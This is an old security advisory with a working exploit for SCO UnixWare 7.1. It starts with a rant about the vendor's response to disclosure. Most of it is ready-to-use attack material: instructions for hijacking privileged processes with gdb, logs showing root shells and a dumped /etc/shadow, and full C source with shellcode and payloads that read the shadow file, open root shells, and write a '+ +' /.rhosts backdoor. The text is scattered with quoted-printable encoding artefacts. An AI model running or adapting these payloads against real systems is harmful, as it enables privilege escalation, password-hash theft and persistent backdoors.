unixware7.fundamental.txt

`  
OVERVIEW  
A flaw in SCO UnixWare's security model will allow any user to gain root, read  
system files, etc.  
  
RANT  
I'm sure many of you are wondering what the response from the people from SCO  
has been regarding all of these UnixWare problems. Nil. First, a little  
background. Back when I began my UnixWare audit with the dos7utils explo it, I  
was contacted and asked to please submit any bugs I find to the UnixWare  
security team. Of course I had no problem with this, since my goal is  
supposedly the same as theirs: to secure UnixWare. I immediately submitt=  
ed my  
su and uidadmin exploits and told then about the gethostbyname() overflow=  
=2E I  
was told that these were "known" bugs (known, evidently, to SCO only) and=  
  
nothing more.  
  
I foolishly assumed that this meant they were working on a fix but did no=  
t  
have one ready. It turns out that what they meant by this was "We have a=  
fix  
ready, but we are going to sit on it until it becomes public." SCO had  
completely abused my decision to submit to them then wait for a fix. Any=  
one  
notice how quickly they got out the gethostbyname(), su and uidadmin fixe=  
s but  
have yet to fix the other problems I've found but didn't tell them about?=  
=  
  
Chances are excellent that if I had never posted these exploits, crackers=  
  
would've continued exploiting UnixWare until SCO silently fixed the probl=  
ems  
in 7.2. =  
  
  
Wake up, SCO! The underground cracker community is already exploiting al=  
l the  
problems I'm finding! You're only hurting your customers by waiting unti=  
l the  
next release, or until someone posts publicly. Take a proactive stance o=  
n  
security by finding problems internally (or with the help of people like =  
me)  
and then tell the world at large. To assume that you =  
  
  
and I are the only ones capable of finding these holes is an insult to yo=  
ur  
customers.  
  
I've yet to recieve a word from SCO about my recent slew of exploits. My=  
  
guess is that they were just happy to buy a few months of time before I  
started posting.  
  
  
BACKGROUND  
Please read my "uidadmin + discussion" advisory for more information abou=  
t  
UnixWare's privileged process system. The techniques discussed herein ha=  
ve  
only been tested on SCO UnixWare 7.1. While earlier versions of UW are  
probably affected, SCO OpenServer does not use this particular security m=  
odel  
and are therefore not affected.  
  
DETAILS  
As Aleph One put it, in his response to my Vuln-Dev post:  
  
=2E..  
SCO has implemented privileges in UnixWare without thinking of possible  
interaction with other subsystems. They should have placed the same  
restriction on application running with privileges as those placed on  
applications running suid or sgid. I am surprised no one before noticed t=  
his.  
Its a hole you could drive a truck through. The engineers that coded =  
  
  
the privilege system (a security subsystem!) should get a good ass chewin=  
g or  
get fired.  
=2E..  
  
Indeed this is true. This security subsystem *itself*, not the programs  
encompassed by it, has cause more compromises than all the problems I fou=  
nd in  
the suid/sgids. Consider that a privileged program which is simply =  
  
  
void main() {  
printf("sekure\n");  
}  
  
can be compromised just as readily one which is 10000 lines of spaghetti =  
code.  
The specific problem lies in the fact that any user who runs one of thes=  
e  
privileged processes (that are not suid/sgid, but are in  
/etc/security/tcb/privs) has full control over the process. By =  
  
  
using a debugger, we can stop the program, insert registers and control  
program flow. Any program in the privs file which is not also suid/sgid =  
is  
vulnerable to this exploit, regardless of whatever overflows and symlink  
vulnerabilities may or may not exist.  
  
EXPLOIT  
  
The exploit goes like this:  
- Put nops+shellcode into your environment  
- load a program which gains privs in /etc/security/tcb/privs with gdb  
- set a breakpoint at _init  
- run, and when we hit that breakpoint change our eip to point into our =  
  
environment  
- continue, continue, rootshell  
  
Get GDB for UnixWare binaries from ftp.freebird.org  
  
Thanks to the teso folks for their suggestions.  
  
----- DACREAD -----  
bash-2.02$ ./truck 1  
  
UnixWare 7.1 security model exploit  
Brock Tellier [email protected]  
  
$ ./gdb /usr/ucb/w  
GDB is free software and you are welcome to distribute copies of it  
under certain conditions; type "show copying" to see the conditions.  
There is absolutely no warranty for GDB; type "show warranty" for details=  
=2E  
GDB 4.15 (unixware2), Copyright 1995 Free Software Foundation, Inc...  
(no debugging symbols found)...  
(gdb) break _init  
Breakpoint 1 at 0x804ac34  
(gdb) run  
Starting program: /usr/ucb/w =  
  
  
Program received signal SIGTRAP, Trace/breakpoint trap.  
[Switching to process 3257]  
warning: shared library handler failed to enable breakpoint  
  
Breakpoint 1, 0x804ac34 in _init ()  
(gdb) disassemble  
Dump of assembler code for function _init:  
0x804ac34 <_init>: ret =  
  
End of assembler dump.  
(gdb) info registers  
eax 0x0 0  
ecx 0x8 8  
edx 0x804ac38 134523960  
ebx 0x804644c 134505548  
esp 0x804643c 134505532  
ebp 0x8046440 134505536  
esi 0x804bc3c 134528060  
edi 0x8046454 134505556  
eip 0x804ac34 134523956  
eflags 0x100212 1049106  
cs 0x17 23  
ss 0x1f 31  
ds 0x1f 31  
es 0x1f 31  
fs 0x0 0  
gs 0x0 0  
(gdb) set $eip =3D 0x8046b75  
(gdb) continue  
Continuing.  
  
Program received signal SIGTRAP, Trace/breakpoint trap.  
Cannot remove breakpoints because program is no longer writable.  
It might be running in another process.  
Further execution is probably impossible.  
0xbff99a40 in errno ()  
(gdb) continue  
Continuing.  
root:bahbapXFxhypF:10935::::::  
daemon:NP:6445::::::  
bin:NP:6445::::::  
=2E...  
Program exited normally.  
(gdb) =  
  
  
---- DACWRITE ----  
bash-2.02$ ./truck 2  
  
UnixWare 7.1 security model exploit  
Brock Tellier [email protected]  
  
$ ./gdb /usr/bin/getdev  
GDB is free software and you are welcome to distribute copies of it  
under certain conditions; type "show copying" to see the conditions.  
There is absolutely no warranty for GDB; type "show warranty" for details=  
=2E  
GDB 4.15 (unixware2), Copyright 1995 Free Software Foundation, Inc...  
(no debugging symbols found)...  
(gdb) break _init  
Breakpoint 1 at 0x830e740  
(gdb) run  
Starting program: /usr/bin/getdev =  
  
  
Program received signal SIGTRAP, Trace/breakpoint trap.  
[Switching to process 3271]  
warning: shared library handler failed to enable breakpoint  
  
Breakpoint 1, 0x830e740 in _init ()  
(gdb) disassembe  
Undefined command: "disassembe". Try "help".  
(gdb) disassemble  
Dump of assembler code for function _init:  
0x830e740 <_init>: ret =  
  
End of assembler dump.  
(gdb) set $eip =3D 0x8046b75  
(gdb) continue  
Continuing.  
  
Program received signal SIGTRAP, Trace/breakpoint trap.  
Cannot remove breakpoints because program is no longer writable.  
It might be running in another process.  
Further execution is probably impossible.  
0xbff99a40 in errno ()  
(gdb) continue  
Continuing.  
# id  
uid=3D0(root) gid=3D3(sys)  
groups=3D0(root),1(other),2(bin),3(sys),4(adm),5(uucp),6(mail),7(tty),8(a=  
udit),10(nuucp),12(da  
  
emon),23(cron),25(dtadmin),47(priv),9(lp)  
# =  
  
  
---- SETUID ----  
bash-2.02$ ./truck 3  
  
UnixWare 7.1 security model exploit  
Brock Tellier [email protected]  
  
$ ./gdb /usr/ucb/lpr  
GDB is free software and you are welcome to distribute copies of it  
under certain conditions; type "show copying" to see the conditions.  
There is absolutely no warranty for GDB; type "show warranty" for details=  
=2E  
GDB 4.15 (unixware2), Copyright 1995 Free Software Foundation, Inc...  
(no debugging symbols found)...  
(gdb) break _init  
Breakpoint 1 at 0x805036c  
(gdb) run  
Starting program: /usr/ucb/lpr =  
  
  
Program received signal SIGTRAP, Trace/breakpoint trap.  
[Switching to process 3302]  
warning: shared library handler failed to enable breakpoint  
  
Breakpoint 1, 0x805036c in _init ()  
(gdb) disassemble  
Dump of assembler code for function _init:  
0x805036c <_init>: ret =  
  
End of assembler dump.  
(gdb) set $eip =3D 0x8046b75  
(gdb) continue  
Continuing.  
  
Program received signal SIGTRAP, Trace/breakpoint trap.  
Cannot remove breakpoints because program is no longer writable.  
It might be running in another process.  
Further execution is probably impossible.  
0xbff99a40 in errno ()  
(gdb) continue  
Continuing.  
# id  
uid=3D0(root) gid=3D1(other)  
groups=3D0(root),1(other),2(bin),3(sys),4(adm),5(uucp),6(mail),7(tty),8(a=  
udit),10(nuucp),12(da  
  
emon),23(cron),25(dtadmin),47(priv),9(lp)  
# =  
  
  
--- truck.c ---  
/** =  
  
** "Its a hole you could drive a truck through." =  
  
** -Aleph One  
**  
** truck.c UnixWare 7.1 security model exploit  
** Demonstrates how we own privileged processes =  
  
** =  
  
** Usage: cc -o truck truck.c  
** ./truck <filetype> where filetype is 1, 2 or 3 =  
  
** (for dacread, dacwrite and setuid, respectively)  
**  
** This will put $XNEC in the environment and run a shell.  
** From there you must use gdb/debug to load a file of the  
** type you chose (by checking /etc/security/tcb/privs)  
** and setting a breakpoint at _init via "break _init".  
** When you "run" and break at _init, change your EIP  
** to something between 0x8046000 and 0x8048000 with =  
  
** "set $eip =3D 0x8046b75" and "continue" twice.  
**  
**  
** Brock Tellier [email protected]  
**/ =  
  
  
  
#include <stdlib.h>  
#include <stdio.h>  
  
char scoshell[]=3D /* This isn't a buffer overflow! really! */  
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"  
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"  
"\xff\xff/tmp/sm\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";  
  
=  
  
#define LEN 3500  
#define NOP 0x90  
  
#define DACWRITE "void main() { system(\"echo + + > /.rhosts; chmod 700 \=  
  
/.rhosts; chown root:sys /.rhosts; rsh -l root localhost sh -i \  
\"); }\n"  
#define DACREAD "void main() { system(\"cat /etc/shadow\");}\n"  
#define SETUID "void main() { setreuid(0,0);system(\"/bin/sh\"); }\n"  
  
void usage(int ftype) {  
fprintf(stderr, "Error: Usage: truck [filetype]\n");  
fprintf(stderr, "Where filetype is one of the following: \n");  
fprintf(stderr, "1 dacread\n2 dacwrite\n3 setuid\n");  
fprintf(stderr, "Note: if file has allprivs, use setuid\n");  
}  
void buildsm(int ftype) {  
FILE *fp;  
char cc[100];  
fp =3D fopen("/tmp/sm.c", "w");  
  
if (ftype =3D=3D 1) fprintf(fp, DACREAD);  
else if(ftype =3D=3D 2) fprintf(fp, DACWRITE);  
else if(ftype =3D=3D 3) fprintf(fp, SETUID);  
  
fclose(fp);  
snprintf(cc, sizeof(cc), "cc -o /tmp/sm /tmp/sm.c");  
system(cc);  
  
}  
  
int main(int argc, char *argv[]) {  
  
int i;  
int buflen =3D LEN;  
char buf[LEN]; =  
  
int filetype =3D 0;  
char filebuf[20]; =  
  
  
if(argc > 2 || argc =3D=3D 1) {  
usage(filetype);  
exit(0); =  
  
}  
  
if ( argc > 1 ) filetype=3Datoi(argv[1]);  
if ( filetype > 3 || filetype < 1 ) { usage(filetype); exit(-1); }  
buildsm(filetype);  
  
fprintf(stderr, "\nUnixWare 7.1 security model exploit\n");  
fprintf(stderr, "Brock Tellier [email protected]\n\n");  
  
memset(buf,NOP,buflen);  
memcpy(buf+(buflen - strlen(scoshell) - 1),scoshell,strlen(scoshell));  
  
memcpy(buf, "XNEC=3D", 5);  
putenv(buf);  
buf[buflen - 1] =3D 0;  
  
system("/bin/sh");  
exit(0);  
}  
------  
  
Brock Tellier  
UNIX Systems Administrator  
Chicago, IL, USA  
[email protected]  
  
  
____________________________________________________________________  
Get free email and a permanent address at http://www.netaddress.com/?N=3D=  
1  
  
`